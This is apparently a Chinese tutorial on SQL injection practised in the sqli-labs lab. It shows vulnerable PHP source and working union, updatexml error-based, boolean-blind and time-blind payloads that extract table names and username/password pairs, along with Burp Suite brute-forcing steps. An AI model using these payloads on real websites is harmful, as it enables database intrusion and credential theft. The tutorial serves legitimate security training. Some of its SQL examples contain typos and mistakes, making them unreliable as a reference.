目录
前言
通过网盘分享的文件:phpstudy_pro.zip
链接: https://pan.baidu.com/s/1Ea_50Yh4XnAcMVjqkWCVgw?pwd=jacb 提取码: jacb
根目录中已有sql-labs靶场
一、了解mysql数据库
前置任务:下载phpstudy和sql-labs源码,搭建本地靶场sql-labs,在phpstudy中下载phpmyadmin。
1、了解sql增删改查
库操作:
mysql -u root-p输入密码登录数据库
show databases; 查看数据库
create database employes charset utf8; 创建数据库employees并选择字符集
drop database employees; 删除数据库employees
use employees; 选择进入数据库employees
表操作:
create table employee
(
**id int,**
name varchar(40),
sex char(4),
birthday data,
**job varchar(100)**
);
show full columns from employee; 查看数据表信息
select * from employee; 查看数据表列表
drop table employee; 删除数据表
rename table employee to user; 修改数据表名称为user
alter table user character set utf8; 修改字符级
数据列和数据行操作:
插入一行数据
INSERT into users
(
id,name,sex,birthday,job)
VALUES
(
**1,'ctfstu','male','1999-05-06','it')**
;
alter table user add salary decimal(0,2); 增加一列内容
update user set salary=5000; 修改所有工资为5000
update user set name='benben' where id =1; 修改id=1的行name为benben
update user set name='benben2',salary=3000 where id=1; 修改id=1的行name=benben2,工资为3000
alter table user drop salary; 删除列
delete from user where job='it'; 删除行
delete from user; 删除表
2、了解sql查询
select * from users where id = 1; select+列名(*代表所有)from+表名 where+条件语句
select * from users where id in('3'); 从users表格,查询所有包含id为3
select * from users where id=(select id from users where username=('admin')); 子查询 优先执行()内查询语句
select id from users union select email_id from emails; union查询并合并数据显示
select * from users where id = 6 union select * from emails where id = 6;
ERROR: have a different number of columns 联合注入前后表格列数必须相等。
select * from users where id = 6 union select *,3 from emails where id = 6; #3为填充列。
group by 分组
select department,count(id) from student group by department; 查询departmet院系人数 count(id) 对ID进行计数
select * from users where id =9 group by 2; by2,4,8~~~依次排查到报错为止,从而确定列数(一般用二分法)
order by 默认按照升序排列
select stu_id from score shere c_name='计算机' order by grade desc; grade参数desc使排列顺序变为降序
order by同group by一般用于判断数据表列数
limit 限制输出内容数量
select * from users limit 0,3; 限制为从第0行开始显示第3行
一般用于限数显示报错反馈信息
and和or
*select from student where sex='男' and department='英语系';
*select from student where sex='男' or department='英语系';
group_concat
select group_concat(username) from users; 多行合并为一行
select database(); 查看当前数据库名称
select version(); 查看当前数据库版本
二、sql注入基础
什么是注入:
通过构造一条精巧的语句,来查询到想要得到的信息。
注入分类:
按照查询字段分为字符型和数字型
按照注入方法分为Union注入,报错注入,布尔注入,时间注入等
如何判断是字符型注入还是数字型注入?
答:使用and 1=1和and 1=2来判断,数字型一般提交内容为数字,但数字不一定为数字型
eg:Less-1 提交and 1=1和提交and 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入。
Less-2**提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入**。
闭合方式: ' " ') ") 其他
如何判断闭合方式:Less-1输入?id=1',报错为near 1'多一个',那么闭合符为'
闭合的作用:
手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可以用注释符号 ' --+ '或' # '或' %23'注释掉
tips:利用注释符号暂时将程序段脱离运行。把某段程序"注释掉",就是让它暂时不运行(而非删除掉)。
union联合注入:
提交 ?id=1' union select database()--+
?id=1' group by 3 --+ 得知表的列数有三列
?id=1' union select 1,2,3--+ 这条查询语句的结果应该有两行,但是一般网站只会回显一行。
?id =-1' union select 1,2,3--+ 通过id=-1 使这条查询语句的结果为空,从而只回显剩下的一行。
?id =-1' union select 1,2,database()--+ 通过上调指令得到的回显位,可以将3替换为我们想获取的信息database();
注入完成!
1.查找注入点
2.判断是字符型还是数字型注入 and1=1 1=2 / 3-1
3.如果是字符型,找到他的闭合方式, ' " ') ")
4.判断查询列数,group by order by
5.查询回显位置,-1
aasdwasdwa
三、学习sql注入漏洞
1、union注入
这里我们以sqllab的第一关源码来学习sql注入:
php
<?php
//引入数据库连接,关闭错误报告
include("../sql-connections/sql-connect.php");
error_reporting(0);
//将输入的id值记录到日志文件
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//构造sql查询
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//输出查询结果
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
我们重点需要观察的是参数接收和构造sql查询这一块的语句:
php
参数接收:
$id=$_GET['id'];
构造sql查询:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
我们可以发现我们以get传参的方式传进去的id没有经过任何处理就被直接拼接到后端字符串中去,然后带入数据库执行充当执行语句。因此,这里存在sql注入漏洞。
接下来我们要做的就是准备进行攻击语句的构造:
1、判断数字型注入还是字符型型注入:
可以利用经典的and 1=1和 and 1=2来判断:
数字型:
sql
select * from users where id =x and 1=1;
select * from users where id =x and 1=2;
第一条语句执行后,没有语法错误且页面返回正常。第二条语句执行后,没有语法错误但页面返回错误。
字符型:
sql
select * from users where id='x' and '1'='1'
select * from users where id='x' and '1'='2'
第一条语句执行后,没有语法错误且页面返回正常。第二条语句执行后,没有语法错误但页面返回错误。
这里不管输入1 and 1=1还是1 and 1=2页面都是返回正常,说明是字符型注入,因为id永远等于'xxxx',所以逻辑判断永远无法生效,自然无法返回错误。
2、判断闭合方式(字符型注入):
闭合方式: ' " ') ") 其他
确定是字符型注入以后,使用上面的多种闭合方式一个一个去闭合,如果没有报语法错误说明闭合符被mysql强制转成合法数据类型,如果报了语法错误,说明当前sql语句拼接参数的符号就是当前闭合符:
因此,此处闭合符为单引号。
3、判断回显位
通过id=1' order by x--+来判断属性的列数有几个(x个),原理是按第几列升序排序,当x小于等于总列数时,不会报错,当x大于总列数时会报错。
这里发现当x等于4时,第一次报错,因此这里的列数为3,接下来我们要找到3列的属性列当中有多少是可以回显出查询结果的,于是我们使用sql查询语句:
sql
url?id=-1' union select 1,2,3 --+
这里将id置为-1,使sql查询结果完全由union后面的语句所控制,这里发现屏幕上回显出了2和3,说明这里的回显是2和3,那么接下来我们就只需要将查询语句中的2和3替换为我们所需要查询的数据即可。
4、查询库名,表名,字段名
sql
url?id=-1' union select 1,database(),3 --+ 查询库名
sql
url?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 查询表名
sql
url?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ 查询列名
sql
url?id=-1' union select 1,2,group_concat(username,'~',password) from users --+ 查询关键字段
至此,拿到了我们想要的数据库信息。
2、报错注入
报错注入的原理基于的是数据库在遇到错误语句时,会返回详细的错误信息。这些错误信息中可能包含数据库的敏感信息或者可用于推断数据库结构的信息,从而为攻击者提供进一步的注入利用可能。
这里以updatexml报错来举例实验:
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数:XML_document是string格式,为XML文档格式对象的名称,例如Doc
第二个参数:XPath_string是路径,XPath格式的字符串
第三个参数:new_value,string格式,替换查找到的符合条件的数据
updatexml报错原理: 第二个参数与路径有关,我们可以输入书写不规范的路径,故意让他报错,而它的报错信息里刚好泄露了我们所需要的敏感信息。
案例:less-6:
php
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
存在print_r(mysql_error());说明有报错回显,因此可以尝试使用报错注入。
sql
?id=1" and 1=updatexml(1,concat('~',(select database())),1)--+ 查询数据库
sql
url?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+ 查询表
sql
url?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)--+ 查询列名
sql
?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,'~',password),1,30) from users)),1)--+ 查询关键字段
3、布尔盲注
盲注条件:存在注入点时,无论查询语句的正确还是错误,均不会产生回显。但是可以明显看出语句正确与否会导致对应页面的不同状态。
案例:less-8:
这种情况一般就是盲注了,这里我们要用到一个关键函数:
ascii()函数: ascii美国信息交换标准代码,可以把字母转换为对应数字。ascall值,A-Z是65-90,a-z是97-122。
原理:利用如下语句和页面的对错回显得出正确的字符信息
?id=1' and ascii(substr((select databse()),1,1))>=120--+通过二分法来得出第一个字符的ascall值
?id=1' and ascii(substr((select databse()),2,1))>=120--+通过二分法来得出第二个字符的ascall值
这里,我们使用burpsuite进行爆破猜解:
首先,需要爆破出数据库名的正确长度,先构造如下语句,再利用burpsuite抓包:
sql
url?id=1' and if(length(database())=6,1,0)--+
在数字6的地方添加$符号:
利用burpsuite爆破,直接状态码和返回包的长度,发现数字为8时,长度与其他的返回请求不一样,并且渲染页面为true,所以数据库名长度为8。
接下来我们爆破具体的数据库名,先构造如下语句,再利用burpsuite抓包:
sql
url?id=1' and if(substring(database(),1,1)='a',1,0)--+
这里要爆破两个参数,因此攻击模式选择cluster bomb:
因为数据库名长度为8,所以我们爆破的时候第一个参数爆破的范围为1-8。
第二个参数的范围为a-z,A-Z,0-9。
最终返回了16个正确字符,因为mysql不区分大小写,所以数据库名长度仍是8,数据库名为security。
之后的表名,列名与关键字段的获得操作与上面一致,不过多赘述。
4、时间盲注
案例:less-5
前提: 没有回显,没有报错,没有真假值,数据库会执行命令代码,只是不反馈页面信息。
关键函数:
函数sleep()参数为休眠时长,以秒为单位,可以为小数
select sleep(2);
函数if(condition,true,false) condition为条件,true当条件为真时返回的值,false当条件为假时返回的值。
select if(1=1,sleep(0),sleep(3)); 1=1为真,执行休眠0秒
?id=1' and if(ascii(substr((select database()),1,1))<=110,sleep(0),sleep(3)) --+; 更改substr参数推算第一个字母,并以此推算剩余字母,直到得出结果。
替换入需要查询的命令语句即可
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=110,sleep(0),sleep(3)) --+
时间盲注闭合符的判断
?id=1 and sleep(2) --+
?id=1' and sleep(2) --+
?id=1" and sleep(2) --+
?id=1') and sleep(2) --+
这里,我们使用burpsuite进行爆破猜解:
首先,需要爆破出数据库名的正确长度,先构造如下语句,再利用burpsuite抓包:
sql
?id=1' and if(length(database())=2,sleep(3),0) --+
在数字3的地方添加$符号,爆破结果如下:
正常的响应大约是1s,长度为8时,耗时4056ms,大约4s,即加上了sleep延时的3s,因此数据库长度为8。
接下来我们爆破具体的数据库名,先构造如下语句,再利用burpsuite抓包:
sql
url?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+
在第一个1处添加 符号,在 a 处添加 符号,在a处添加 符号,在a处添加符号,第一个参数的爆破范围为1-8,第二个参数的爆破范围为a-z,A-Z,0-9,开始爆破!!!
最终返回了16个正确字符,因为mysql不区分大小写,所以数据库名长度仍是8,数据库名为security。
之后的表名,列名与关键字段的获得操作与上面一致,不过多赘述。